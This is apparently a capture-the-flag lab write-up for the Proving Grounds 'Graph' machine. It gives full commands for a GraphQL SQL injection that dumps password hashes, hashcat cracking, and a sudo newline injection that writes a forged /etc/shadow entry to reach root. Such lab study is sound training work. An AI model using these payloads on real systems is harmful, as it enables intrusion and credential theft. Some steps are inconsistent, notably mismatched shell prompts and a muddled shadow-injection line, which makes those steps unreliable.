Skip to content

Graph Writeup - Proving Grounds

Easy Linux

Created October 7, 2026 • Last updated October 7, 2026 • 3 min read

Graph exposes a GraphQL API backed by SQLite. A searchTerm argument is injectable, which dumps user password hashes to crack for SSH access as jane. A custom pass-gen binary runnable via sudo writes to /etc/shadow without stripping newlines, so a newline injection adds a controlled account, leads to the shadow group, and ends in cracking the root hash.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

SSH and a blog on port 80. Fuzz for content.

Content discovery

Brute force directories.

┌──(kali㉿kali)-[~]
└─$ rustbuster dir --url http://$TARGET_IP --wordlist /opt/seclists/Discovery/Web-Content/raft-small-words.txt
/graphql    (Status: 200)

A /graphql endpoint is exposed.

Exploitation

GraphQL SQL injection

Introspect the schema with inql. The users query takes a searchTerm argument that is passed into a SQLite query without validation, so a single quote triggers an error.

┌──(kali㉿kali)-[~]
└─$ curl -s -H 'Content-Type: application/json' -X POST -d '{"query":"{ users(searchTerm: \"a\") }"}' http://$TARGET_IP/graphql
{"data":{"users":["admin","jane"]}}

# single quote triggers a SQLite error:
{"errors":[{"message":"SQLITE_ERROR: unrecognized token: \"'\""}]}

Confirm the injection, then UNION-dump the user hashes from the users table.

┌──(kali㉿kali)-[~]
└─$ curl -s -H 'Content-Type: application/json' -X POST -d '{"query":"{ users(searchTerm: \"'\''union SELECT username||'\'':'\''||password_hash FROM users -- -\") }"}' http://$TARGET_IP/graphql
{"data":{"users":["admin:$6$PRyGjElQ$unCSC...","jane:$6$4BlcfbYDsQp3BMG$vwPo...","josh:$6$g744Ii0AvY$Oce4..."]}}

Crack the SHA-512 hashes with hashcat.

┌──(kali㉿kali)-[~]
└─$ hashcat -m 1800 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
$6$4BlcfbYDsQp3BMG$vwPo...:$JANE_PASSWORD
Explain command
-m 1800 sha512crypt hash mode.

jane's password is recovered. Log in over SSH.

┌──(kali㉿kali)-[~]
└─$ ssh jane@$TARGET_IP
jane@graph:~$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane)

Shell as jane. Check the sudo rights.

Privilege Escalation

Newline injection in sudo pass-gen

List the sudo rights.

┌──(kali㉿kali)-[~]
└─$ sudo -l
User jane may run the following commands on graph:
    (ALL : ALL) /usr/local/bin/pass-gen

pass-gen runs as root and updates /etc/shadow without stripping newlines, so its argument can inject a whole new shadow line. Generate a hash, then add a shadow entry for josh (a member of the shadow group).

┌──(kali㉿kali)-[~]
└─$ mkpasswd -m sha512crypt password123
┌──(kali㉿kali)-[~]
└─$ sudo pass-gen '1337:7:::\n\njosh:$6$...:19078:0:99999'

Switch to josh, who is in the shadow group, read /etc/shadow, and crack the root hash with hashcat. The recovered root password then lets su return a root shell.

┌──(kali㉿kali)-[~]
└─$ su
josh@graph:/$ su
Password:
root@graph:/# id
uid=0(root) gid=0(root) groups=0(root)

Cracking the root hash read via the shadow group gives the root password and a root shell.